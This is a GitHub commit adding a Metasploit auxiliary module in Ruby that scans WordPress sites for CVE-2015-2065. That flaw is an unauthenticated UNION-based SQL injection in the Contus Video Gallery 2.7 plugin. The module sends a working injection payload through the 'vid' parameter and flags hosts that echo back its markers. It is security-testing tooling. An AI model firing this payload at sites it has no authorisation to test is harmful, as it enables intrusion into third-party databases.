Skip to content

Commit 7523e59

Browse files
committed
Land rapid7#5198, WordPress contus video gallery 2.7 scanner
2 parents 7443af6 + 7a2084c commit 7523e59

File tree

1 file changed

+69
-0
lines changed

1 file changed

+69
-0
lines changed
Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit4 < Msf::Auxiliary
9+
10+
include Msf::HTTP::Wordpress
11+
include Msf::Auxiliary::Scanner
12+
include Msf::Auxiliary::Report
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Contus Video Gallery Unauthenticated SQL Injection Scanner',
17+
'Description' => %q{
18+
This module attempts to exploit a UNION-based SQL injection in Contus Video
19+
Gallery for Wordpress version 2.7 and likely prior in order if the instance is
20+
vulnerable.
21+
},
22+
'Author' =>
23+
[
24+
'Claudio Viviani', #discovery
25+
'bperry' #metasploit module
26+
],
27+
'License' => MSF_LICENSE,
28+
'References' =>
29+
[
30+
[ 'CVE', '2015-2065'],
31+
[ 'WPVDB', '7793' ]
32+
],
33+
'DisclosureDate' => 'Feb 24 2015'))
34+
end
35+
36+
def run_host(ip)
37+
right_marker = Rex::Text.rand_text_alpha(5)
38+
left_marker = Rex::Text.rand_text_alpha(5)
39+
flag = Rex::Text.rand_text_alpha(5)
40+
41+
vprint_status("#{peer} - Checking host")
42+
43+
res = send_request_cgi({
44+
'uri' => wordpress_url_admin_ajax,
45+
'vars_get' => {
46+
'action' => 'rss',
47+
'type' => 'video',
48+
'vid' => "-1 UNION ALL SELECT NULL,NULL,CONCAT(0x#{left_marker.unpack("H*")[0]},0x#{flag.unpack("H*")[0]},0x#{right_marker.unpack("H*")[0]}),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- "
49+
}
50+
})
51+
unless res && res.body
52+
vprint_error("#{peer} - Server did not respond in an expected way")
53+
return
54+
end
55+
56+
result = res.body =~ /#{left_marker}#{flag}#{right_marker}/
57+
58+
if result
59+
print_good("#{peer} - Vulnerable to unauthenticated SQL injection within Contus Video Gallery 2.7 for Wordpress")
60+
report_vuln({
61+
:host => rhost,
62+
:port => rport,
63+
:proto => 'tcp',
64+
:name => "Unauthenticated UNION-based SQL injection in Contus Video Gallery 2.7 for Wordpress",
65+
:refs => self.references.select { |ref| ref.ctx_val == "2015-2065" }
66+
})
67+
end
68+
end
69+
end

0 commit comments

Comments
 (0)